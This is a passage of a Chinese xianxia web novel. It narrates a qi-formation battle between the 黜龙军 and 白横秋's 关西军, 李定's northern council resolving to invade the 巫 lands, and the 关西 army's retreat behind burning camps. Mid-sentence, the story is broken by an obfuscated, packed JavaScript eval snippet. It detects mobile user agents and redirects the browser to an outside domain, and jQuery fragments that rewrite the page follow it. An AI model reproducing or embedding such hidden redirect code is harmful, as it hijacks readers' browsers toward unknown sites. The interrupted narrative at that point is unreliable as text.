白横秋无言以对,只是拍了拍对方肩甲,然后便抬手示意。 薛仁不再多言,转身招呼薛亮、丁顺走了出去。 出得大帐,白横秋补给薛仁的本部两千骑就在中军,其人传达军令,倒也顺利。然而,待其部鱼贯而出,来到营前,望着前方三万黜龙军阵型严密有序,旗帜、衣甲整齐,在朝阳下宛若泛着金光的黑潮,饶是薛仁部俱为白横秋专门挑拣出来的精锐,此时也都不安。 待到两面来看,竟只有他们一军出营,更是惊惶起来。 见到部众明显犹疑,而黜龙军已经在视野之中,薛仁只是一勒马便回身呵斥:“我为一卫大将军,尚不惜命,你们如何迟疑?只随我旗帜往来便是!伏龙卫为督战,全军畏缩不前者,斩!” 言迄,亲自跃马当先出征,直趋黜龙军大阵。 骑兵临阵呼喝冲突,须臾便至……不过,待薛仁冲到阵前,也同样无奈。 无他,黜龙军阵型太严实了。 而薛仁在其中,率部左右冲突,却惊讶的发现,自己这一次根本无法穿透明显缩编的黜龙军各营兵马……一来,这些都是精锐,各营几乎只取半,而且其中颇多生力军;二来,因为阵型紧密、部队规模较小,其中高手支援迅速,而且骑兵也挑选了精锐在其中,哪里都能撕咬他……这使得他往往在攻击一营不得手之前便要狼狈逃窜,以免自己的部队被夹住。 坦诚说,这不对劲,因为按照常规来说,过于严密的阵型在临敌时不方便调度,也缩小了接战面,难以发挥每一个士卒的战斗力,但是这愈发说明了黜龙军是要进行另一种战斗模式。 但由不得薛仁多想,就在他准备撤出这些严密军阵,绕到身后衔尾骚扰时,变化陡然出现了。 一开始他以为是起风了,因为周围黜龙军的旗帜的确开始猎猎作响,但很快他就意识到,就算是风,这风也不对劲,因为四面之风居然都朝着他来了! 然后是寒气,四面八方乃至于天上地下一起来的刺骨寒气。 再然后,便是一种排山倒海一般的真气涌动,仿佛有地震、有海啸、有山崩,就发生在自己身侧一般,而且是陡然发生。 可能是天气已经很冷,也可能是处在阵中央,竟然没有多少标志性的白雾出现。 但薛仁只是脑子一晃,便旋即意识到发生了什么——他觉得黜龙军坚硬如铁、不可动摇,可黜龙军到底也是被他阻拦迟滞了一二,觉得他是个麻烦,为了迅速解决掉他,竟然提前起了大阵,而且成功了。 很难说的清薛仁此时的心情。 那是一种释然居多,但夹杂着恐惧与豪迈的诡异心情。 释然是因为,不管如何,他都完成了白皇帝下达的任务,对方大阵提前这么一起,谁也不能说他没有尽力;恐惧,自然是他知道自己现在陷在人家的真气大阵中,待会也不知道迎来什么样的强力打击;而豪迈,则是他为自己在这种关乎天下大势走向的节点上,依旧一马当先,立在风口浪尖而自豪。 须知道,数月前他还只是一个落魄白衣,为了凑一套能在阵前被人记住的白袍而让妻子典当嫁妆,可这几个月的从军经历,足以让他被天下人记住了。 脑中豪情刚刚起来,从他的视角下,一只巨大的青色龙**便当头咬下。 只看这股真气大小,薛仁便晓得自己不可能抵挡,便干脆弃了长戟,就在已经嘶鸣崩溃的战马上弯弓一箭,射向了那巨**头颅,只是一射,如石投大海,然后随着对方如排山一般的真气落下,当场双眼一黑,再无知觉。 黜龙军既提前点起大阵,轻松一击生擒薛仁,原本阵中阻拦的两千骑便登时溃散,大军也不做追击和清扫,只是随着已经联通的真气大阵之涌动,继续奋勇向前。 关西军此时虽说乱作一团,但还是有些说法,原本搭建起来是为了表威风、对抗黜龙军版筑工程的高台此时起到了绝佳的作用,各营修行者和精锐们随着将领纷纷往彼处而去。 黜龙军大阵既成,半点不敢耽搁,提速之后,撞入营中,上一次攻势下根本不能占据的营盘迅速被扯碎,大量因为反复军令来不及走的关西军死伤惨重,只能狼狈逃窜。 但也就是如此了。 待到黜龙军那灰白色的大阵连续碾破了四五层营寨之后,随着王叔勇迫不及待的引动真气,凌空一箭射向刚刚进入射程的那座高台,好像是什么信号一般,高台上猛地光芒四起: 先是最常见的金色辉光真气,恰如之前薛常雄、司马正那般,彷佛凌空腾起一个太阳,然后裹上一层银色,再然后是赤色,登时便让百尺高台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168043|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为了一个巨大的光炬。 随即以高台为中心,在台顶和台下同时漫延起无数横平竖直的光线,点亮了两面巨大的棋盘,尤其是地上棋盘,所到之处,星星点点,一时难以分辨清楚数量的成丹、凝丹、奇经、正脉如星火一般被点燃,变幻出各种各样奇的颜色,复又与棋盘融为一体。 这还不算,可以清晰的察觉,地面上的成丹、凝丹在下方棋盘上亮起后,天上的棋盘竟然也都亮起对应颜色、大小的棋子。 已经接阵的黜龙军管不了这么多,又一只青色巨**从灰白色的阵中探出头来,足足数丈大小,彷佛真龙出海,直接朝一颗最近的绿色棋子吞去。 白横秋居高临下,只是当空一推,天上靠近巨**的数颗棋子便汇集一起,半空中便化为一只与龙首差不多大小的辉光猛虎,当空扑下。 非只如此,随着下方数道光芒汇集,尝试抵御那巨**,竟然也都随着光芒汇集发生变化,或为刀剑盾甲,或为虎豹豺狼,或成旋风云雾,而且每次汇集都会被其中强者引动,合为一体,以更强者的形态重新出现。 但是,黜龙军这里也不止是一只青色龙首,灰白色的大阵中,金箭、金爪、黑刀、黑潮也几乎是同时涌出,将对面涌过来的神异一一击破。 一时间,彷佛两个不同的小世界交汇、撞击在一起一般离奇。 而几乎是让双方都有些惊讶的是,上方猛虎落下,竟被那**首回头一卷,当空咬碎,然后再度扑下时,一条彷佛蛇尾一般的青绿色竟然已经将原本的目标捆缚住,任由青色巨**张开大口,将其衔回阵中。 接着便是一声惨叫。 很显然,一名凝丹当场不知生死。 白横秋在高台上,有些难以置信的望着那条长生真气所化之龙——他又不是什么蠢货,如何不晓得,刚刚牛河只是偷袭捆缚自家将领的那个,而这青色巨**分明另有他人! 可要到这种修为,要么是个宗师,要么是如司马正、三娘、张长恭那些人一般的奇才到了成丹最尖上才行。 黜龙军真真卧虎藏龙! “黜龙帮怎么起的这么快?!”河阳城城头上,头发发黄、眼珠发绿的骨仪扶着腰刀来问。“这分明是当年一征、二征的规制!两家加一起便是当年大魏全胜之势了!” “我都能到大宗师,黜龙帮不起这么快反而奇怪。”司马正负手眯眼来言,然后看着依然在龙争虎斗的两大战团下了结论。“白横秋要退了。” 骨仪大吃一惊:“如何这般结论,我看俩家就算有些小亏小胜,也依然不伤筋骨,如何便要退?” “因为关西军是来求胜的,见到不能取胜自然要退;反过来说,黜龙军到底是后发,都是年轻人,只要拖住关西人不吞掉咱们,自然就能接受。”司马正负手来看这位大魏忠臣。“就好像咱们只要守住就能接受一般。” 骨仪思索片刻,微微颔首,但还是蹙眉:“可若是这般说,关西军期待大胜却不胜而走,难道不会引起动摇?黜龙军不会追击,以求扩大战果?” “只是动摇是不会伤筋动骨的,而黜龙军的追击嘛……”司马正冷笑了一声。“他在指望我呢。” “不错,咱们应该阻止胜方追击才对……”骨仪恍然,复又犹疑。“可话虽如此,他们都没有伤筋动骨,我们却要为了撤退一方可能的损伤与另一家做阻击……元帅,莫忘了咱们大魏是三家最弱,这家底子折损不得!” 司马正点头:“说得好,所以,我是不会让大家轻易折损的。” 骨仪心中微动,似乎反应过来什么,想要再说,可最终放弃——毕竟嘛,这东都都是这位撑着,若是这位没有那个能耐,东都又能坚持多久呢? 河内方寸之地,三家汇集,两家精华乱战,打的人心惊肉跳。 中午之前,黜龙军折损了一位凝丹——黜龙帮资历头领,早年的河北大豪郝义德战死,数名凝丹、成丹受伤,而奇经、正脉更是损失不计其数。 对应的,凝丹数量更多的关西军损失更明显,开战到现在最少五位凝丹在他们视角内生死不明,而他们的普通军士则堪称损失惨重。 这其实让所有人都收敛了起来。 到了下午,黜龙军意识到情况后,一开始还想避开高塔,去后方攻击对方营寨,对没有入阵的寻常士卒进行杀伤,可立即就发现,关西军结阵后也是可以从容移动遮拦的,人家只是一开始在高台周围集合而已……于是乎,整个下午,双方都不再进行多余的冒险,而是围绕着高台进行攻防,少有凝丹、成丹一层高手主动突出大阵攻击了。 这一战,竟似乎也是个不分胜负。 然而,似乎是想抗拒这一点,就在太阳偏西,黜龙军明显大阵后撤的时候,忽然间,天上棋盘的所有棋子一起落下! 潜藏了一整日甚至都没有连入阵中的十三金刚高高跃起,织出一张大网,将最大的几个棋子兜住,然后白金色的大网一歪,竟轻飘飘将这难以想象的一击转移到了一侧营寨中,引得整个营寨如遭遇了疾风骤雨一般,瞬间垮塌碎裂一地。 黜龙军大阵则继续缓缓东撤。 大阵刚刚撤出营地范围,关西军便呼唤雀跃,而落日之前,黜龙军返回寨中,也旋即欢呼振奋,双方都如同得胜。 没办法,和上次一样,这种超出认知的奇幻战斗,表面上的胜负足以让所有凡人将士摆脱那种责任感。 刘扬基腾跃起来,连续两次,才登上那座百尺高台,然后一脸喜悦的他惊讶的发现,自己的皇帝双手颤抖、气喘吁吁。 似乎是意识到这应该是理所当然的战后表现,刘扬基重新带上笑意,准备拱手称贺。 却不来白皇帝先摆手制止,然后语出惊人:“咱们要准备撤军!” 刘扬基大惊,赶紧上前扶住对方一只手,压低声音来问:“陛下受伤了?” “没有。”白横秋扭头来看这位心腹。“这一战被他们占了先手的便宜是不错,但也仅此而已……但是老刘,我现在……就是他们刚撤走之后,竟然心乱如麻,且比昨晚要乱十倍,这必是什么预兆!虽不晓得是什么,是冬衣未到马上有大雪,还是南面三娘胜了韦元帅,又或者北面鱼皆罗投了敌,乃至于司马正会出兵,全都不晓得!只晓得再不走,必要出大事!” 刘扬基看了眼狼狈不堪的营盘,既是信服,又明显有些惶恐的点点头,然后低声来对:“请陛下给诸位总管、大将军旨意,臣尽量去操办!” “好!”白横秋以另一只手抚住对方之手,言辞恳切。“封住高台,只许大将军、行军总管以上,万事就拜托你了!” 刘扬基只是匆匆颔首,匆匆下高台去了。 数千里之外,北地,落钵原,黜龙帮龙头、北地战帅、行台指挥李定正在射猎。 不止是他,此时前来参加这次冬猎的,还有几乎整个北地西面行台的大小将领,以及北地剩余两个行台的部分将领,包括至今被战事拖延没得到任命却实际负责东行台的黑延、留守北行台的陆惇,外加幽州行台的龙头窦立德。 一群麋鹿被赶到了预设好的围场里,李定抬手一箭,竟没有中,然后也不着急,反而失笑着将手中弓箭递给一侧的窦立德。 窦立德接过来,也是一箭,还是没中,复又在自己女儿女婿在内的无数北地将领尴尬注视下面色如常的传给了黑延。 黑延接过弓箭,望着前方的鹿群,抬手复又放下,语出坦荡:“我是积年的老猎户,自然能中,老陆也肯定能中,可要是那样,两位龙头不就太丢脸了吗?” 李定、窦立德一起来笑,笑了一阵子也觉得尴尬,便收起弓箭,让部属们自去射猎,只与两位司命一起转回到身后小丘另一侧的房舍内。 这里是战团春日放牧牲畜的驻地,算不上什么好地方,基本上都是宿舍加牲畜棚子,而可能是此时整个北地权势最重的四个人竟一起钻进了其中一个平平无奇的屋子。 有人在里面靠着墙、歪着身子来烤火,见到四人依次进来,当场笑问:“四位怎么没带些猎物过来,正好烤了吃。” 李、窦愈发尴尬,只能打着哈哈坐下,而黑延、陆惇则是真的哈哈大笑着坐下。 那人,也就是一个多月前从大行台调任到北地西行台的张世昭了,其人何等聪明,一下子醒悟过来,也跟着笑。 笑完之后,五人稍作沉默,李定咬牙开口:“张公,你来说吧!” “好。”张世昭正色道。“我上任时没有直接过来,而是从晋北那里走苦海去了一趟巫地,在东部巫地稍微转了一下……今年到此为止,还没有出现明显的天灾,但一来,巫族到了冬日便形同散沙,**调度艰难总是不变的;二来,他们被赶回巫地后,损失惨重外加东部、中部内讧对立也是无疑的……所以,我以为可以直接趁着冬日发兵,击败东部巫族,绕至关西之背!” 火塘旁边,几人自然有些迟疑与不安……他们都晓得李定有临机决断之权,但事到跟前,不迟疑反而奇怪。 “东部和中部为什么反目?”窦立德象征性追问了一句。 “因为大魏。”张世昭脱口而对。“中部那里,成义公主是大魏宗女,先后嫁阿波、突利两位可汗,掌握后帐数十年,影响极大,当日打入关西,成义公主甚至立了一个前魏远房宗室做了傀儡,而东都都蓝可汗嘛,当年雁门之围就是他做的,他对大魏有切骨之恨……两家为此出兵前就闹,占据关西时也闹,但因为彼时是得利,还能相互容忍,如今被打了回来,自然有一万个相互记恨。” 窦立德缓缓点头:“那确实有可乘之机,咱们只要对付都蓝可汗一家就行。” 也就不再说话,什么兵马如何,都蓝可汗性格如何,多少高阶修行者,渡海要什么准备,冬日后勤保障如何……这些早就是他们讨论烂的东西,多说无益。 “需要我们发兵吗?”黑延也肃然来问,却也明显问了句废话。 “不只是发兵。”李定认真道。“后勤转运、外交迷惑、向导骚扰、参战作战,都需要……这是咱们之前在首席面前说好的。” “这是自然。”陆惇连连颔首。“但是,大司命就在滹沱河,马上就能回来,要不要等他一起?” “不耽误事情。”李定继续道。“咱们今日下令,各部回去以后一起出兵,等过了苦海,大司命也就该到了。” 黑延即刻颔首:“咱们既然做了讨论,你们又黜了吞风君,我们自然不会推辞,一定按照约定参战,何况如今还是一家人!而李龙头又有战帅的临机之权!断然不能反驳!” 陆惇闻言不再言语,只是束手而立。 “那就出兵。”李定昂然道。“我们做了如此多准备,焉有不胜的道理?一冬一春,即可击败东部,然后震慑住中部,便可南下关陇,直趋长安!则天下可定!” 其余人都没有言语,事情似乎就要按照临机之权定下来,但李定还是在笑了以后直接举起手来。 窦立德随后,黑延紧随,陆惇也只好跟上,张世昭便来拊掌大笑。 日落之前,李定设“廊下食”,正式向在场所有头领宣布了出兵决断与出兵日期。 第八十九章 风霜行(8) 李定发布进军的命令并没有引起太大的波澜。 实际上,北地这边绝大部分人早就对这个军令的可能性进行过讨论,尤其是南线两处战场依次开辟后……没办法的,这么多军事力量被堆积在李定的麾下,外面人可能会猜测、会疑惑,甚至黜龙帮内部的其他人都会质疑,但北地这里的人自己是心知肚明的……说句不好听的,他们有没有力量他们自己不知道吗?他们忠不忠他们自己不知道吗? 那么作为可用的力量,这么多、这么强的可用力量,没有被用在河内,没有被放在河南,没有去守邺城,甚至没有在晋北、幽州集合,只在北地这里窝着是为了什么呢? 当然是为了战争! 战争已经准备了许久,整个北地、幽州的物资都被持续的汇集过来,大量的战马、牲畜、甲胄、武器、冬衣、夏衣、毛皮、草料、军粮、盐巴、醋布……甚至按照李龙头的要求,还有一些类似于核桃、信鸽、乌鸦、硫磺、咸鱼、铁制烧火棍等等奇怪的事物。 相较而言,之前就尝试的外交努力下,针对苦海对岸小部落源源不断的金银钱帛、漆器陶瓷,乃至于印绶锦衣,反而显得正常了许多。 哪怕是不打巫地,也显得正常。 而就在李定这边下定决心跨海西征的时候,河内主战场这里,局势也在迅速发生变化。 一开始只是一如既往的交换俘虏、伤员、清扫战场,包括防守方的关西军在修补营寨等等,但是很快黜龙军这边就嗅到了一些不寻常的东西。 “同意了?”躺在榻上的张行略显诧异。 “同意了。”庞金刚正色道。“司清河亲自出面接待的我,一开始还在计较,但后来听说薛仁被我们俘虏,便忽然认了……说薛仁是他们皇帝爱将,他不得不从,愿意拿所有俘虏和尸身与我们交换重伤的薛仁。” 张行迟疑了一下,继续来问:“你有没有觉得有些不对劲?” “有。”庞金刚肃然道。“他们准备的太妥当了,答应的也太干脆……我觉得,便是我们说薛仁**,他说不得也会用薛仁的尸首做借口,直接答应交换……首席,河内这边已经有些‘规矩’了吗?我看他们昨日一战,士气似乎未堕,如何就要这般利索?” “正是此言。”张行艰难翻身坐起,他现在四肢都酸疼的厉害,真要是现在再来昨日一阵,撑是能撑住,但肯定随后就会受伤。“若是他们早就准备妥当,不拘是哪方面,便是有计划了……他们想作甚?” 说着,复又推开了想要搀扶他的封常。 “不知道。”坐在门内凳子上的徐世英摇头道。“但肯定是要做大动作……打到这个份上,双方已经尽力,依着对面此番主动来攻的姿态,必然求变,只是不晓得是要撤了还是要孤注一掷。” “孤注一掷个屁!”张行缓慢将双腿收起,在榻上盘膝而坐,同时忍不住龇牙咧嘴。“且不说关西军其实未伤元气,如何就要拼命?就算是白横秋失心疯了,想要孤注一掷,可他营中十几位总管、大将军,却总要跟他撕扯两日才行……十之**是撤军,只有撤军那些人才不会计较那么多!只不过,便是撤军,咱们也要做好一万个提防与准备便是。” 徐世英点点头,复又摇头。 “是心中不安吗?”张行笑问道。“无妨的,最后一遭必然难熬,但只要熬过去,咱们便多一位宗师了,往后便更好打了。” 徐世英还是摇头,过了片刻,似乎想起什么一般,方才认真来言:“我的意思是,要不要遣人问问姓韩的,他之前刮风那段时间不是动摇了,主动跟我们联络了吗?” 这是张行的卧室,来到这屋内的只有徐世英、庞金刚和封常带领的几位负责通讯的轮值文书、参军,此时其余几人闻得此言,都有些惊喜。 姓韩的、总管、大将军、主动联络,加上之前的讨论,俨然就是韩引弓那厮又跳反了。 “可行。”张行想了一下,干脆应下。“我现在这个样子,小马又病倒,你跟天王多担待些……有些事情让我跟小马知道就行,不必事事亲自来商量。” 徐世英心中微动,立即起身答应,告辞离去了。 就这样,接下来两日,局势日益明显和清晰。 首先是第二日,双方交换完俘虏和尸首后,立即着手送回各自牺牲将士尸首,黜龙军这边都来送郝义德在内的诸多将士尸首,关西军也在运送尸首走轵关……然而,很快就有利用之前韩氏暧昧态度安排过去的间谍回复,说是关西军运送尸首的队伍不正常,规模大的有些过头……这倒不光是说上一战关西军基层军士死的人多,而是说按照一般的习惯,运送尸首的队伍一般很单纯,就是单纯送尸首,连伤员都不会随从,省的军心动摇,可这一次关西军却明显在其中掺杂了大量辎重转运车和大量民夫。 这就显得太着急了。 第三日,双方开始进一步转运伤员,间谍也进一步回复,轵关那里,伤员队伍中也多了很多辎重车,而且很多明显还有战力的轻伤员居然也出现在了队伍里。 这还不算,处在后卫与侧翼的关西军韩长眉、韩引弓部竟然也开始重新整修清理轵关方向道路。 也就是这日夜中,韩总管终于不再装忠臣了,他找到了一名黜龙军的间谍,让此人连夜脱身回到黜龙军营中,告知了黜龙军高层特定的、确切重要信息——白横秋确实准备撤退了,军令只传达到了总管、大将军一层,不过中郎将们已经有所察觉,而在撤退前,则很可能会有一场佯攻。 徐世英虽然得到授权,但还是主动找到了张行一起来探访那日之后就病倒的马围,迅速制定了基本方略——不管是不是陷阱,是不是佯攻,到底撤不撤,包括司马正会不会阻拦,姓韩的会不会临阵反水,都要做好再次决战并追击的准备。 决议一定,便是加紧备战,静待时机。 果然,时间并没有让他们等太久,仅仅是两日后,随着一场略微明显的降温和结霜,关西军动了。 一整日的战斗过程乏善可陈,却足够激烈和紧凑。 关西军先发骑兵大队近万渡河,自沁水北岸集结进发,主将赫然是白立本,黜龙军则针锋相对,以刘黑榥为行军总管,集合了包括上次支援过来的张公慎所领一营幽州骑兵在内的五营骑军,约**千众,迎面而击。 但很快,黜龙军这几营开战后基本上捞不到仗打的骑兵就在关西军的同行面前暴露了底细……就像步兵第一仗时的岌岌可危一样,黜龙军大队骑兵也全线落入下风。 于是乎,以此为契机,双方开始了一场添油战术,黜龙军率先支援了步兵,然后是关西军,反复数次后,沁水北岸在下午时分就已经打成烂仗。 而很显然,白横秋不可能舍弃北岸的诸多兵马直接后撤,所以他继续在当面开辟了第二战场,乃是亲自发兵攻打了徐师仁驻守的安昌城。 安昌城就在沁水边上,是联结两岸的要害,黜龙军自然不敢怠慢,刚刚有些好转的张行亲自带队,三位宗师随从,双方在安昌城下再度上演了一出好戏。 一直到傍晚,两家方才撤军。 这一天,看起来似乎是之前一系列不分胜负的对决延续,可实际上,双方统帅心知肚明,这是关西军的战术佯攻顺便试探有没有可行的战术掩护撤退机会。 当然,黜龙军没有给这个机会。 唯独白横秋既然心意已决,自然也不会再纠缠,当晚他召集所有中郎将、监军以上臣子,直接宣布了翌日撤军的事宜,且他本人将亲自断后。 决议不容置疑,尤其是总管-大将军一层已经达成一致,更不要说之前还有一位死谏要决战都未曾动摇今日决议的张世本。 于是乎,接受了撤军序列相关军令后,诸将回营,立即开始着手相关事宜,军士们也开始打包行礼。 说是打包行李,其实啥都没有……也没战利品,作战一个多月,次次平手,也没多少赏赐,甚至冬衣也刚刚发了一半,现在回到河东,正好领了冬衣回家过年……所以,也不知道是好事还是坏事,一个晚上而已,几乎上上下下就做好了回军的准备。 只能说,所幸关西兵习惯了苦战。 这其中,前大魏扶风太守、如今的大英中郎将薛亮同样没什么好收拾的,他早早亲自清点完自己的衣甲武器,便呆坐在自己的榻上,望着自己那断了半截的手掌出神。 也不知道过了多久,帐篷被人掀开,前大魏冯翊太守,如今的大英扬武将军罗方出现在了帐内。 罗方看到自己义弟的断手,心中不由一阵酸涩……就是因为这个,自己这个义弟才绝了修行之路,从此止步于一个低劣凝丹,但也是因为这个,白横秋入关的时候才放了他们兄弟几人一马,稍作任用,因为谁都知道,他们兄弟几人跟大英固然是敌我之分,可跟黜龙军也是势不两立的。 “我没敢试探老十一。”罗方坐下来,低声告知对方。“他跟老十二一样,随义父时间短,跟咱们关系也没那么深……我也不瞒你,当日老七跟咱们生分后,一心一意做白横秋马前卒的时候我就觉得,咱们若要再做些什么事情,就只有咱们兄弟二人了……” 话到这里,饶是罗方自诩豪杰,又是成丹日久的修为,此时竟也哽咽起来:“都是我无能,之前不能援护义父,之后又不能遮护咱们兄弟……若只是不能倒也罢了,最起码当日在淮西、在关西**,也算是为你们尽力,何至于到了今日这种寄仇人篱下地步?” 薛亮的表情终于生动起来,只苦笑来言:“大哥说的什么话,事到如今,咱们还不明白吗?这天下反覆,就算是张三郎、白三娘、司马正、徐世英那般恣意之辈如鱼得水,不也有张长恭那样陨落的吗?至于白横秋、韦胜机,包括义父这些根深蒂固之人,也要讲究一个顺逆……咱们有什么呢?乱了七八年,走到眼下,还能有咱们兄弟二人相互扶持,已经是天意怜惜咱们了,就不要计较长远、计较周全了。” 罗方只能点头。 兄弟二人便一起在薛亮帐中枯坐起来……也不知道是在回忆过往,还是在担心未来。 这个夜晚如两位太保一般枯坐的人注定不止一位,白横秋在枯坐,张行在枯坐,司马正也在枯坐,徐世英还在枯坐……当然,这几位枯坐是有理由的,这一战之后局势会如何发展?要怎么继续已经不可逆转的全面战争?包括明日怎么打? 全都是要思量的事情。 相对应的,韩长眉、韩引弓兄弟也在枯坐……这似乎也理所当然,他们兄弟不约而同的因为局势而对自己的立场产生了动摇,其中一位甚至已经跟黜龙军正式的传递了军情,算是地道的反水,偏偏他还位置紧要,明日真要反水,怕是关西军要坏掉三五万的精锐战力。 没错,迈出那一步的不是韩引弓,而是韩长眉。 道理很简单,韩引弓的位置没有韩长眉紧要……谨守着石山、看管着轵关通道入口的韩长眉心知肚明,他这辈子可能都不会再有类似的机会握住这么大的本钱来反水,所以他没有忍住。 但话说回来,真要是下这个决心也不是那么简单的,假设明日他反水,尝试控制轵关道、截住关西军退路,固然会立大功,可他也必然要遭遇到来自于关西军各部最疯狂的打击,更不要说他自己也不知道到底能控制多少所谓本部兵马……万一根本无法调度本部,又被白横秋一巴掌拍死怎么办? 他又不是他大哥,百战威风和能博真龙的修为摆在那里。 甚至他能做这个什么国公,都全靠他侄子没了,而白横秋的英国公恰好是接他哥哥的盘,不给个位置脸上不好看。 更不要说,跟天性凉薄的弟弟相比,韩长眉的家眷还在长安,只是派了一位心腹回去告诉这些人,听到战败消息就扔下所有直接往秦岭里钻……这本身就很危险。 所以那句话怎么说来着……生存还是毁灭,这是一个大问题。 相对来说,韩引弓的枯坐原委就更简单了,他属于有心而无力,根本拿不出本钱去反水,偏偏他反水的心态是最认真的,他是真觉得黜龙帮不可抑制,尤其是最近几仗打完,就更加觉得对方迟早要胜,而留在关西这边不知道哪一战就要被人当成鱼鳞给刮了。 可偏偏明日就要撤军了。 天亮后,炊烟袅袅尚未散去,新结的寒霜也没有融化,大撤退便拉开序幕,关西军故伎重施,以骑兵出沁水北岸,尝试调度黜龙军大队骑兵,却不料黜龙军大队骑兵几乎是同时出战,而且是来攻当面关西军大营。 “这是要作甚!”听到消息后,刚刚走到浮桥上的骑军主将白立本大为震惊。“骑兵来攻营寨有甚用?!” 周围骑将也都发懵。 为什么要渡河从沁水北岸进军,因为常识就是营寨当面战场狭窄,不利于骑兵作战,只有沁水北岸才能放开了打。而他们不知道的是,白立本的震惊其实还有另外一层意思——不管这些骑兵有没有用武之地,黜龙军反应都太快了!动员规模也太大了! 所以,这会不会意味着黜龙军已经知晓了他们今日要撤退的消息? 而自古用兵最难者莫过进退,会不会出大乱子? “继续进兵,放缓速度!”一念至此,白立本对手下骑将下令,同时放弃战马,腾跃而起,径直往中央高台而去。 “此间朕自当之,你发兵如常。”白横秋见到人来,没有半点耽搁便下令。“他们若知晓我们今日撤军,必然要以打乱我们布置为先,切不可被他们调度。” 白立本闻言,只在高台上落了片刻,立即又腾跃起来,扑回沁水方向。 就这样,关西军骑兵大队渡河如初,而几乎是他们抵达对岸开始进行整备的同时,黜龙军骑兵大队也抵达关西军那刚刚修缮过的营寨前,这下子,关西军立即意识到黜龙军要做什么了。 无他,这近万骑竟然人手一根蘸了油料、裹了麦秸秆的木柴……称不上火把,什长们拎的才是正经火把……来到寨前,火把已经被点燃,随着一声令下,木柴与火把一起被扔入寨中。 一时间,长达十余里的宽大营寨,几乎全线烟火四起。 这不算什么成功的火攻,因为早间湿气太重,而且关西军的营盘虽然大,却也称得上层层叠叠、错落有致,中间分营隔寨设计的非常有条理,到处都是壕沟,火势未必起得来;更不要说那日大战后,这些前线营寨实际上已经很空虚,马上还要撤退,完全可以轻松放弃,就算是有烟,也未必有多大效果。 但是,黜龙军肯定也没指望着火攻有多大战争效用,他们只是要用这个驱赶营盘内的部队,为后续黜龙军大队进逼制造机会而已。 “放火。”白横秋只是观察了一下风向,就忽然失笑,然后做出了一个堪称福至心灵的应对。“撤出前营,然后我们也放火,把带不走的杂物都扔进去,让前营变成阻碍他们追击的烟火废墟!” 旁边的白横元迟疑了一下。 白横秋晓得他的意思,立即扭头看向对方:“提前撤退!不必顾忌!这是机会!” 白横元拱了下手,转身下去了。 烧自己的营寨可比烧对方的要方便的多,不过片刻便火起,而伴随着火起,整个关西军营寨也都沸腾起来,却是全体军士、民夫得到了军令,提前开始了西归。 而这个时候,黜龙军大队的前锋刚刚出了营盘,得到前军骑兵传递的消息,一时措手不及。 只能说,这把火放的极妙。 晓得自己出现失误的徐世英面色铁青,迅速寻到了张行:“首席,局势有变,不大好从正面进逼追击了,我现在引导后续主力渡河,从北岸压迫他们骑兵做追击,能留下几个是几个,当面战场白横秋肯定会留守高台,已经出营的几个营也不可能收回来,只能请你去坐镇!” 原本安坐温城城头的张行即刻起身,并做安慰:“无妨,只要他们撤了,便是我们胜了,不必求全责备。” 徐世英来不及多言,只点点头,便匆忙去了。 就这样,自作聪明的黜龙军终于遇到了白横秋一方的“小把戏”,被迫临时改换战术,徐世英-雄伯南都督大队步兵借助安昌城的掩护大举渡河,与此同时,张行-牛河-魏文达加踏白骑的组合则都督领已经出营来不及转头的三四个营往前方与骑兵大队汇合。 战局无疑变得混乱起来。 上午时分,沁水北岸,两军开始交战,黜龙军前锋开始连续不断冲击已经占据好战场的骑兵,虽然上来就遭遇骑兵猛扑,落入下风,但考虑到后续足足近二十个营的步兵主力以及关西军迟早要撤退的现实,北岸战场的结果与过程似乎已经注定。 至于南岸堪称满目疮痍的旧战场上,就显得很平和了。 张行缓缓出阵,沿途收拢部队,抵达前线,再往前便是着火的营寨,火势不大不小,黜龙军当然不敢轻易迈过去,而是按照军令就地列阵。 便是张首席本人,似乎是因为腿脚酸痛还没有好利索,也寻了个高地放下一个条凳,安坐了下来。 相对应的,隔着一道火墙,正西面的关西军中军高台上,白横秋也是负手而立,俨然下定决心要亲自断后;河阳要塞上,司马正则一如既往,立在城头观望局势。 三人呈一个直角三角,一时纹丝不动。 看的出来,大家都能沉得住气。 只不过动态的战场上,有的是人沉不住气。 最先显露失控迹象的当然是关西军的骑兵……没办法,局势如此,他们其实是承担了断后的任务,而且面临的赫然是黜龙军主力、数量四倍于他们的严整步兵……一开始还有些优势,可打到中午,便已经无法立足,开始大面积后撤,一旦后撤,自然焦虑于撤退事宜。 于是乎,这一撤就撤到了营寨齐平的位置,然后停在了一个理所当然的位置——韩引弓所据河内郡城的对岸。 不能再往后撤了,再撤不光是会失去河内城遮护与对应浮桥退路的事情,关键是白皇帝在对岸高台上看着呢,再撤就要顶着皇帝加大宗师的目光撤了,不到万不得已,谁敢去承受这位的怒火? 实际上也的确如此,韩引弓很快得到旨意,要他出兵接应骑军,并确保接到撤退旨意之前河内城的安全。 这下子,韩大将军也沉不住气了。 平心而论,这个旨意不是针对他的,而是单纯担心骑军的安危,担心全军后路被突破,进而造成被人衔尾追击的被动局面。 所以,要韩引弓隔河兜一下。 但问题在于,这么一来,不就相当于让他韩大将军也一起跟着断后吗? 而他现在因为大撤退只有几千防守河内郡城的步卒在手,如何能与那些骑军一起进退? 且不说韩大将军如何无力,回到战场上,大撤退还在继续,这种十余万人的大撤退,只要撤下去,哪怕再有序,撤退方也肯定会越来越慌,越来越乱的。 很快,轵关道上也出现了堵塞。 韩长眉领着一队亲卫、三队甲士列阵在道旁山坡上,一直在发呆,竟没有第一时间注意到这一幕,还是下属提醒,方才赶紧打马而下,呵斥阻道之人。 而也就是随着他的呵斥声出口,韩长眉心中微动,起了个念想——借着严峻军法的名头制造事端,以图阻碍大军撤退,算不算一个折中的法子呢? 毕竟,前军出现了意外,大军竟然顺利从营寨脱身了,而黜龙军只能依靠步兵自侧翼追击,这使得他反水的风险进一步扩大。 真要现在就反,不划算。 